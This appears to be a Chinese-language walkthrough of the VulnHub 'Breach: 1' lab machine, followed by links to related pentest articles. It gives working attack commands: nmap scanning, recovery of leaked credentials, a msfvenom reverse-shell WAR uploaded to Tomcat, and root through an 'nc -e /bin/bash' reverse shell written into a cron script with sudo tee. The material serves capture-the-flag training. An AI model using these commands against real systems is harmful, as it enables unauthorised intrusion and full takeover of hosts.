Breach: 1 ~ VulnHub

1 环境准备

靶机下载地址

  1. win10系统,安装bp;wireshark

  2. 根据提示,靶机设置为仅主机模式,网段192.168.110.0,靶机ip为静态192.168.110.140

  1. 一台kali(192.168.198.172),设置为nat模式,可以连接靶机。

  2. 一台kali(192.168.110.128),设置为仅主机模式。

2 信息搜集

扫描端口:

bash 复制代码
nmap -T4 -A -v 192.168.110.140

出来的端口有很多,尝试从80端口入手,访问80端口进入到网站主页:

查看网页源代码:

发现一段编码,尝试解码:

将base64的解码结果再一次解码:

可以发现,经过两次base64解码后的结果可能是某一个用户名和密码。

cpp 复制代码
pgibbons:damnitfeel$goodtobeagang$ta

网站图片可以访问,进入到图片链接

先进入到 Employee portal ,进入到cms系统:

对impresscms页面尝试指纹识别:

bash 复制代码
whatweb -v http://192.168.110.140/impresscms/

并没有找到cms的版本,但是可以清楚服务器运行的是带有Apache 2.4.7版本的Ubuntu Linux。 这里可以尝试msf搜索impresscms的漏洞数据利用,但是都不能成功。

用刚才发现的用户名和密码登录,可以成功进入到后台页面:

在Inbox中的第三个信中可以下载keystore

主页面找到Content,可以下载.pcap流量包文件:

同时注意到评论中的重要信息:They told me the alias, storepassword and keypassword are all set to 'tomcat'.

3 流量解密

提取证书,根据提示密码是tomcat

bash 复制代码
keytool -importkeystore -srckeystore /root/下载/keystore -destkeystore /root/下载/tomcat.p12 -deststoretype PKCS12 -srcalias tomcat

将证书添加到wireshark中解密流量

发现访问的地址:https://192.168.110.140:8443/_M@nag3Me/html

这个地址不能直接用浏览器访问,只有结合bp绕过浏览器证书,访问该地址

发现一个登录页面,回到刚才的流量数据包,可以找到传输的用户名和密码:

XML 复制代码
tomcat:Tt\5D8F(#!*u=G)4m7zB

成功登录,进入到tomcat后台管理。

4 建立反弹连接

在后台管理中可以上传WAR文件,这里可以上传一个反弹连接的war包建立反弹连接。

用NAT模式下的kali生成payload

bash 复制代码
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

如果是在windows主机上安装的bp,可以通过XFTP把payload传到windows机器上。

在仅主机模式的kali机器上,监听端口 4444

bash 复制代码
 msfconsole
 use exploit/multi/handler
 set payload java/meterpreter/reverse_tcp
 set LHOST 192.168.110.128
 set LPORT 4444
 exploit

在这里将生成好的kali.war传上去,然后访问。注意用bp放包要快,防止被靶机安全措施清理。

成功反弹连接:

获得交互式 shell

bash 复制代码
python -c 'import pty;pty.spawn("/bin/bash")' 

5 提权

查看操作系统版本

查找漏洞

内核版本是 4.2.0 没有找到匹配的。

进入apache网站根目录 /var/www

进入5446文件,发现两个php文件:

获得数据库root用户,密码是空的,直接进入数据库

查询user表的用户密码

将milton用户密码通过md5解密

尝试使用该密码登录用户操作系统,可以成功登录,根目录下有.sh文件,但是没有有用信息。

查看该用户的历史命令

这个用户进入到 blumbergh 用户,需要找到 blumbergh 用户的密码。

可以通过扫描发现网站有一个目录为images

将这个页面的图片全部下载下来分析:

用 strings 分析 bill.png,找到密码为 coffeestains

根据这个密码切换到 blumbergh用户,查看历史命令

有一个 tidyup.sh 的脚本

这个脚本是一种防御措施,而且只有root用户可以修改,每3分钟运行一次,在/var/lib/tomcat6/webapps目录下,使用find命令在swingline目录中查找所有子目录和文件(从第一层到第十层),然后通过xargs rm -rf命令将找到的文件和目录删除。这个操作会删除我们上传的war包。

查看哪些用户有 sudo 权限

使用 tee 命令,双向重定向,可以实现覆盖文件内容。

准备一个反弹连接内容:

bash 复制代码
 echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt 

将该内容覆盖到tidyup.sh

bash 复制代码
 cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh 

成功拿到root

相关推荐
kingx31 天前
BugKu PRA 渗透测试 2(Harry‘s Blog):9 Flag 全链实战复盘
中间件·渗透测试·log4j2·内网渗透·反序列化
kingx31 天前
BugKu 渗透测试 4 实战:文件上传打点,5 Flag 全通
数据库·渗透测试·web·内网渗透
文章永久免费只为良心4 天前
Web应用安全与防护_第三章_日志文件包含_从一道 CTFshow 题目讲透「日志投毒型 LFI → RCE」:原理、时序陷阱与全变种攻防手册
android·网络安全·渗透测试·漏洞危害·漏洞描述·日志投毒·红队指南
IT大白鼠5 天前
渗透测试实战从靶场搭建到渗透流程——第 8 篇 · 服务型靶标(上):MySQL 双版本写文件链
数据库·mysql·渗透测试
sbjdhjd5 天前
从污点追踪断点到 PHP-FPM 请求队列:HIDS PHP WebShell 样本复盘
开发语言·网络安全·数据挖掘·渗透测试·开源·php·shell
能年玲奈喝榴莲牛奶6 天前
4zreark:只用 PostgreSQL 的资产侦察与漏洞管理平台,Go + React 全栈开源
网络安全·渗透测试·资产测绘·企业管理·资产收集
天府云创7 天前
Rustscan 端口扫描工具入门到实战
渗透测试·网络扫描·nmap·网络嗅探·rustscan·安全测速·企业攻防
admin and root7 天前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客
IT大白鼠7 天前
渗透测试实战从靶场搭建到渗透流程——第 4 篇 · SQL 注入进阶:POST、请求头与绕过
渗透测试
IT大白鼠9 天前
渗透测试实战从靶场搭建到渗透流程——第 1 篇 · 靶场宿主搭建:Docker 编排 15 个常驻靶场
渗透测试